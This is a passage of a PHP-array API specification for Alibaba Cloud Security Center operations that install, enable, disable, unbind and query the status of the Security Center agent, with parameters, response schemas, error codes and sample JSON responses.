you are authorized to install the plug-in on your server or whether the plug-in is installed on your server. Valid values:'."\n" ."\n" .'* **authorized**: authorized'."\n" .'* **unauthorized**: unauthorized'."\n" .'* **unbind**: not installed'."\n" .'* **nonsupport**: not supported'."\n", 'type' => 'string', 'example' => 'authorized', ], 'OverallConfig' => [ 'description' => 'Indicates whether the plug-in is globally configured. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'example' => 'true', ], ], ], ], ], ], ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], 'Message' => [ 'description' => 'The error message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"AegisUuidTargetPluginConfigList\\": [\\n {\\n \\"PluginName\\": \\"alisecguard\\",\\n \\"PluginOnlineInstalled\\": true,\\n \\"PluginOnlineStatus\\": true,\\n \\"PluginInstallCode\\": \\"k5O5nd\\",\\n \\"PluginVersion\\": \\"00_10\\",\\n \\"AegisSuspiciousConfigList\\": [\\n {\\n \\"Type\\": \\"alisecguard\\",\\n \\"Config\\": true,\\n \\"Msg\\": \\"authorized\\",\\n \\"OverallConfig\\": true\\n }\\n ]\\n }\\n ],\\n \\"Code\\": 200,\\n \\"Message\\": \\"successful\\"\\n}","type":"json"}]', 'title' => 'ListPluginForUuid', ], 'AddInstallCode' => [ 'summary' => 'Creates a command that is used to install the Security Center agent.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '91901', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'GroupId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the asset group to which you want to add the asset.'."\n" ."\n" .'> You can call the [DescribeAllGroups](~~DescribeAllGroups~~) operation to query the IDs of asset groups.'."\n", 'example' => '8076980', 'format' => 'int64', 'required' => false, 'type' => 'integer', ], ], [ 'name' => 'Os', 'in' => 'query', 'schema' => [ 'description' => 'The operating system of the asset. Default value: **linux**. Valid values:'."\n" ."\n" .'* **linux**'."\n" .'* **windows**'."\n", 'example' => 'linux', 'required' => false, 'type' => 'string', ], ], [ 'name' => 'ExpiredDate', 'in' => 'query', 'schema' => [ 'description' => 'The validity period of the installation command. The value is a 13-digit timestamp.'."\n" ."\n" .'> The installation command is valid only within the validity period. An expired installation command cannot be used to install the Security Center agent.'."\n", 'example' => '1680257463853', 'format' => 'int64', 'required' => false, 'type' => 'integer', ], ], [ 'name' => 'VendorName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the service provider for the asset. Default value: **ALIYUN**.'."\n" ."\n" .'> You can call the [DescribeVendorList](~~DescribeVendorList~~) operation to query the names of service providers.'."\n", 'example' => 'ALIYUN', 'required' => false, 'type' => 'string', ], ], [ 'name' => 'OnlyImage', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to create an image. Default value: **false**. Valid values:'."\n" ."\n" .'* **false**: does not create an image.'."\n" .'* **true**: creates an image.', 'example' => 'false', 'required' => false, 'type' => 'boolean', ], ], [ 'name' => 'ProxyCluster', 'in' => 'query', 'schema' => [ 'description' => 'The name of the proxy cluster.'."\n", 'example' => 'proxy_test', 'required' => false, 'type' => 'string', ], ], [ 'name' => 'PrivateLinkId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the PrivateLink endpoint.'."\n", 'example' => '72845', 'format' => 'int64', 'required' => false, 'type' => 'integer', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF46038', 'type' => 'string', ], ], 'type' => 'object', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF46038\\"\\n}","type":"json"}]', 'title' => 'AddInstallCode', ], 'OperateAgentClientInstall' => [ 'summary' => 'Installs the Security Center agent on servers.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92411', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'InstanceIds', 'in' => 'query', 'schema' => [ 'description' => 'The IDs of the servers on which you want to install the Security Center agent. Separate multiple IDs with commas (,).'."\n" ."\n" .'> : You must specify at least one of **InstanceIds** and **Uuids**. If you specify **InstanceIds**, you must also specify **Region** and **Os**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'i-uf6j8vq9l4r5ntht****', ], ], [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUIDs of the servers on which you want to install the Security Center agent. Separate multiple UUIDs with commas (,).'."\n" ."\n" .'> You must specify at least one of the **InstanceIds** and **Uuids** parameters before you can call this operation.'."\n", 'type' => 'string', 'required' => false, 'example' => '1587bedb-fdb4-48c4-9330-************', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'en', ], ], [ 'name' => 'Region', 'in' => 'query', 'schema' => [ 'description' => 'The region where the servers reside. Valid values include the following regions:'."\n" ."\n" .'* cn-hangzhou: China (Hangzhou)'."\n" .'* cn-beijing: China (Beijing)'."\n" .'* cn-shanghai: China (Shanghai)'."\n" .'* cn-zhangjiakou: China (Zhangjiakou)'."\n" .'* cn-shenzhen: China (Shenzhen)'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], [ 'name' => 'Os', 'in' => 'query', 'schema' => [ 'description' => 'The operating system of the servers. Valid values:'."\n" ."\n" .'* **linux**'."\n" .'* **windows**'."\n", 'type' => 'string', 'required' => false, 'example' => 'linux', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'AE79B457-877C-51C6-AD72-0D34A025D***', ], 'AegisCelintInstallResposeList' => [ 'description' => 'An array that consists of the returned results.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details of the returned results.'."\n", 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '1587bedb-fdb4-48c4-9330-****', ], 'InstanceId' => [ 'description' => 'The ID of the server.'."\n", 'type' => 'string', 'example' => 'i-uf6j8vq9l4r5ntht****', ], 'RecordId' => [ 'description' => 'The ID of the installation task.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '2856', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'InstallNotGranted', 'errorMessage' => 'The installation permission is not granted.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'InternalError', 'errorMessage' => 'The request processing has failed due to some unknown error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"AE79B457-877C-51C6-AD72-0D34A025D***\\",\\n \\"AegisCelintInstallResposeList\\": [\\n {\\n \\"Uuid\\": \\"1587bedb-fdb4-48c4-9330-****\\",\\n \\"InstanceId\\": \\"i-uf6j8vq9l4r5ntht****\\",\\n \\"RecordId\\": 2856\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n AE79B457-877C-51C6-AD72-0D34A025D***\\n \\n 1587bedb-fdb4-48c4-9330-****\\n i-uf6j8vq9l4r5ntht****\\n 2856\\n \\n","errorExample":""}]', 'title' => 'OperateAgentClientInstall', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'PauseClient' => [ 'summary' => 'Enables or disables the Security Center agent.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92422', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUIDs of servers for which you want to enable or disable the Security Center agent.'."\n", 'type' => 'string', 'required' => true, 'example' => 'uuid-1211-sadsd-2131', ], ], [ 'name' => 'Value', 'in' => 'query', 'schema' => [ 'description' => 'The status of the Security Center agent. Valid values:'."\n" ."\n" .'* **0**: disabled'."\n" .'* **1**: enabled'."\n", 'type' => 'string', 'required' => true, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '6673D49C-A9AB-40DD-B4A2-B92306701AE7', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"6673D49C-A9AB-40DD-B4A2-B92306701AE7\\"\\n}","errorExample":""},{"type":"xml","example":"\\r\\n6673D49C-A9AB-40DD-B4A2-B92306701AE7\\r\\n","errorExample":""}]', 'title' => 'PauseClient', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'UnbindAegis' => [ 'summary' => 'Unbinds servers that are not deployed on Alibaba Cloud from Security Center.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'none', ], 'parameters' => [ [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server that you want to unbind. Separate multiple UUIDs with commas (,).'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => true, 'example' => '4fe8e1cd-3c37-4851-b9de-124da32c****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '825F5526-2A17-4279-857F-F790E9590171', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'InnerError', 'errorMessage' => 'InnerError', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"825F5526-2A17-4279-857F-F790E9590171\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 825F5526-2A17-4279-857F-F790E9590171\\n","errorExample":""}]', 'title' => 'UnbindAegis', 'description' => 'If you no longer require protection for servers that are not deployed on Alibaba Cloud, you can call this operation to unbind the servers from Security Center. After you unbind a server that is not deployed on Alibaba Cloud from Security Center, the server no longer consumes the quota of protected servers or protected server vCPUs. This way, you can install the Security Center agent on other servers to meet your business requirements.'."\n" ."\n" .'> You can unbind only the servers that are not deployed on Alibaba Cloud from Security Center. If you use an Alibaba Cloud Elastic Compute Service (ECS) instance, you do not need to unbind the ECS instance. If you uninstall the Security Center agent from an ECS instance, the ECS instance still exists as a disconnected server in the asset list of the Security Center console. The ECS instance is not removed from the asset list.'."\n" ."\n" .'**Prerequisites**'."\n" ."\n" .'* The server that you want to unbind from Security Center is not deployed on Alibaba Cloud and the Security Center agent is disabled for the server. In this case, the agent is in the Close state and Security Center does not protect the server. You can call the [PauseClient](~~PauseClient~~) operation to disable the agent.'."\n" .'* The client protection feature is disabled for the server that you want to unbind from Security Center. For more information about how to disable the client protection feature, see [Use the client protection feature](https://www.alibabacloud.com/help/en/security-center/latest/local-file-detection-engine).', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeAgentInstallStatus' => [ 'summary' => 'Queries the installation status of the Security Center agent after you run an installation command by using Cloud Assistant. You can call this operation to query the installation status only if the installation request is initiated within 2 minutes.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '121015', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '59.46.XXX.XXX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid value:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUIDs of servers. Separate multiple UUIDs with commas (,).'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => true, 'example' => 'inet-eae014a7-16c4-4d4e-9f03-5208f4dc****,inet-eae047da-1e5a-41ce-828d-47606e9b****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7', ], 'AegisClientInvokeStatusResponseList' => [ 'description' => 'The status of servers.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The installation result for the server.'."\n", 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => 'd123f6ae-9749-4338-8c7f-3c2c1ead****', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'Installed'."\n", ], 'Result' => [ 'description' => 'The installation result. Valid value:'."\n" ."\n" .'* **-1**: The agent is not installed.'."\n" .'* **0**: The agent is being installed.'."\n" .'* **1**: The agent is installed.'."\n" .'* **2**: The installation failed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'ResuleCode' => [ 'description' => 'The installation status. Valid value:'."\n" ."\n" .'* **-1**: The agent is not installed.'."\n" .'* **0**: The agent is installed.'."\n" .'* **1**: Failed to create a directory in the client.'."\n" .'* **2**: Failed to download the installation package.'."\n" .'* **3**: The installation file does not exist.'."\n" .'* **4**: The verification information of the installation file does not exist.'."\n" .'* **5**: Failed to verify the installation file.'."\n" .'* **6**: Failed to execute the installation file.'."\n" .'* **7**: You do not have the required permissions. The installation failed.'."\n" .'* **8**: No client process is detected.'."\n" .'* **100**: The installation failed due to an unknown error.'."\n" .'* **1001**: The installation failed. One-click installation is not supported in this region.'."\n" .'* **1002**: The installation failed. Servers that are not provided by Alibaba Cloud are not supported. Install the agent by executing a script on the server.'."\n" .'* **1003**: The installation failed. The operating system is not supported.'."\n" .'* **1004**: An internal error occurred. Try again later.'."\n" .'* **1005**: The Elastic Compute Service (ECS) instance is not started. Start the ECS instance and try again.'."\n" .'* **1006**: One-click installation is not supported for ECS instances of the classic network type.'."\n" .'* **1007**: The running command is manually stopped.'."\n" .'* **1008**: Cloud Assistant is not installed. You cannot install the client.'."\n" .'* **1009**: The command execution timed out. Try again later.'."\n" .'* **1010**: The machine is already online. You do not need to install a client.'."\n", 'type' => 'string', 'example' => '1', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'InternalError', 'errorMessage' => 'The request processing has failed due to some unknown error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7\\",\\n \\"AegisClientInvokeStatusResponseList\\": [\\n {\\n \\"Uuid\\": \\"d123f6ae-9749-4338-8c7f-3c2c1ead****\\",\\n \\"Message\\": \\"uninstalled\\",\\n \\"Result\\": -1,\\n \\"ResuleCode\\": \\"-1\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeAgentInstallStatus', ], 'DescribeVendorList' => [ 'summary' => 'Queries the service providers whose assets can be added to Security Center.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '340D7FC4-D575-1661-8ACD-CFA7BE57B795', ], 'VendorNameList' => [ 'description' => 'An array that consists of the service providers.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The code of the service provider.'."\n", 'type' => 'string', 'example' => 'ALIYUN', ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"340D7FC4-D575-1661-8ACD-CFA7BE57B795\\",\\n \\"VendorNameList\\": [\\n \\"ALIYUN\\"\\n ]\\n}","type":"json"}]', 'title' => 'DescribeVendorList', ], 'DescribeInstallCaptcha' => [ 'summary' => 'Queries the verification code for you to manually install the Security Center agent.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92120', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Deadline', 'in' => 'query', 'schema' => [ 'description' => 'The validity period of verification codes. If this parameter is not specified, only the valid verification codes are returned.'."\n" ."\n" .'> An installation verification code can be used only within the validity period. An expired installation verification code cannot be used to install the Security Center agent.'."\n", 'type' => 'string', 'required' => false, 'example' => '2020-10-11 16:26:22', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'Deadline' => [ 'description' => 'The validity period of the installation verification code.'."\n" ."\n" .'> The installation verification code is valid only within the validity period. An expired installation verification code cannot be used to install the agent.'."\n", 'type' => 'string', 'example' => '2020-10-10 16:06:38', ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '4E5BFDCF-B9DD-430D-9DA4-151BCB581C9D', ], 'CaptchaCode' => [ 'description' => 'The installation verification code for you to manually install the Security Center agent.'."\n", 'type' => 'string', 'example' => 'M1HH**', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"Deadline\\": \\"2020-10-10 16:06:38\\",\\n \\"RequestId\\": \\"4E5BFDCF-B9DD-430D-9DA4-151BCB581C9D\\",\\n \\"CaptchaCode\\": \\"M1HH**\\"\\n}","errorExample":""},{"type":"xml","example":"\\n A45EB449-0913-4FAF-B5C0-0F2812F69FB4\\n 2020-10-10 16:06:38\\n M1HH**\\n","errorExample":""}]', 'title' => 'DescribeInstallCaptcha', 'requestParamsDescription' => "\n", 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'SasInstallCode' => [ 'summary' => 'Queries the installation verification code that is used to run the installation command of the Security Center agent.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'abilityTreeCode' => '92432', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '120.41.XX.XX', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'data' => [ 'description' => 'The installation verification code that is used to run the installation command when you manually install the Security Center agent.'."\n", 'type' => 'string', 'example' => 'eD****', ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => 'B256A525-7E42-4BB9-A27C-9017FDDFF1A2', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"data\\": \\"eD****\\",\\n \\"RequestId\\": \\"B256A525-7E42-4BB9-A27C-9017FDDF****\\"\\n}","type":"json"}]', 'title' => 'SasInstallCode', ], 'DescribeInstallCodes' => [ 'summary' => 'Queries the commands that are used to manually install the Security Center Agent.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92122', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'example' => 'C0D6119F-92EE-1276-B8B6-C81A7F9D57F5', 'type' => 'string', ], 'InstallCodes' => [ 'description' => 'The information about the installation commands.'."\n", 'items' => [ 'properties' => [ 'OnlyImage' => [ 'description' => 'Indicates whether an image is used to install the Security Center agent. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'example' => 'false', 'type' => 'boolean', ], 'CaptchaCode' => [ 'description' => 'The verification code for you to manually install the Security Center agent.'."\n", 'example' => '15v02r', 'type' => 'string', ], 'GroupId' => [ 'description' => 'The ID of the server group to which the server belongs.'."\n", 'example' => '9165712', 'format' => 'int64', 'type' => 'integer', ], 'GroupName' => [ 'description' => 'The name of the server group to which the server belongs.'."\n", 'example' => 'default', 'type' => 'string', ], 'ExpiredDate' => [ 'description' => 'The timestamp generated when the commands used to install the Security Center agent expire. Unit: milliseconds.'."\n", 'example' => '1637810007000', 'format' => 'int64', 'type' => 'integer', ], 'VendorName' => [ 'description' => 'The name of the server provider.'."\n", 'example' => 'ALIYUN', 'type' => 'string', ], 'Os' => [ 'description' => 'The operating system of the server. Valid values:'."\n" ."\n" .'* **linux**'."\n" .'* **windows**'."\n", 'example' => 'linux', 'type' => 'string', ], 'ProxyCluster' => [ 'description' => 'The name of the proxy cluster.'."\n", 'example' => 'proxy_test', 'type' => 'string', ], 'PrivateLinkEndpointId' => [ 'description' => 'The ID of the PrivateLink endpoint.'."\n", 'example' => '123', 'format' => 'int64', 'type' => 'integer', ], ], 'type' => 'object', 'description' => '', ], 'type' => 'array', ], ], 'type' => 'object', 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"C0D6119F-92EE-1276-B8B6-C81A7F9D57F5\\",\\n \\"InstallCodes\\": [\\n {\\n \\"OnlyImage\\": false,\\n \\"CaptchaCode\\": \\"15v02r\\",\\n \\"GroupId\\": 9165712,\\n \\"GroupName\\": \\"default\\",\\n \\"ExpiredDate\\": 1637810007000,\\n \\"VendorName\\": \\"ALIYUN\\",\\n \\"Os\\": \\"linux\\",\\n \\"ProxyCluster\\": \\"proxy_test\\",\\n \\"PrivateLinkEndpointId\\": 123\\n }\\n ]\\n}","type":"json"}]', 'description' => 'You can call this operation to query the commands that are used to manually install the Security Center agent on the server. The return result contains the installation verification code and the server information. If you want to manually install the Security Center agent on your server, you can call this operation to query installation commands.'."\n" ."\n" .'### QPS limit'."\n" ."\n" .'You can call this operation up to 10 times per second per account. Requests that exceed this limit are dropped and you will experience service interruptions. We recommend that you take note of this limit when you call this operation.'."\n", 'extraInfo' => ' ', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'title' => 'DescribeInstallCodes', ], 'ListUninstallAegisMachines' => [ 'summary' => 'Queries the information about the servers whose Security Center agent is not installed.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.', 'type' => 'string', 'required' => false, 'example' => '180.113.XX.XX', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **5**.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '5', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '4', ], ], [ 'name' => 'RegionNo', 'in' => 'query', 'schema' => [ 'description' => 'The region in which the server resides.'."\n" ."\n" .'> The value of this parameter is the value of the Values parameter that is returned by calling the [DescribeCriteria](~~DescribeCriteria~~) operation. If the value of the **Name** parameter in the response is **regionId**, the value of the **Values** parameter indicates a region ID.', 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou'."\n", ], ], [ 'name' => 'Os', 'in' => 'query', 'schema' => [ 'description' => 'The operating system of the server.'."\n" ."\n" .'> The value of this parameter is the value of the Values parameter that is returned by calling the [DescribeCriteria](~~DescribeCriteria~~) operation. If the value of the **Name** parameter in the response is **osType**, the value of the **Values** parameter indicates an operating system.', 'type' => 'string', 'required' => false, 'example' => 'linux', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The information about the server that you want to query. The value can be the name or the public IP address of the server.', 'type' => 'string', 'required' => false, 'example' => '172.20.XX.XX'."\n", ], ], [ 'name' => 'Vendor', 'in' => 'query', 'schema' => [ 'description' => 'The source of the server. Valid values:'."\n" ."\n" .'* **0**: an asset provided by Alibaba Cloud.'."\n" .'* **1**: a third-party cloud server'."\n" .'* **2**: a server in a data center'."\n" .'* **3**, **4**, **5**, and **7**: other cloud asset'."\n" .'* **8**: a lightweight asset', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], [ 'name' => 'RegionIdStr', 'in' => 'query', 'schema' => [ 'description' => 'The region in which the server resides.'."\n" ."\n" .'> The value of this parameter is the value of the Values parameter that is returned by calling the [DescribeCriteria](~~DescribeCriteria~~) operation. If the value of the **Name** parameter in the response is **regionId**, the value of the **Values** parameter indicates a region ID.', 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou'."\n", ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The returned data.', 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page 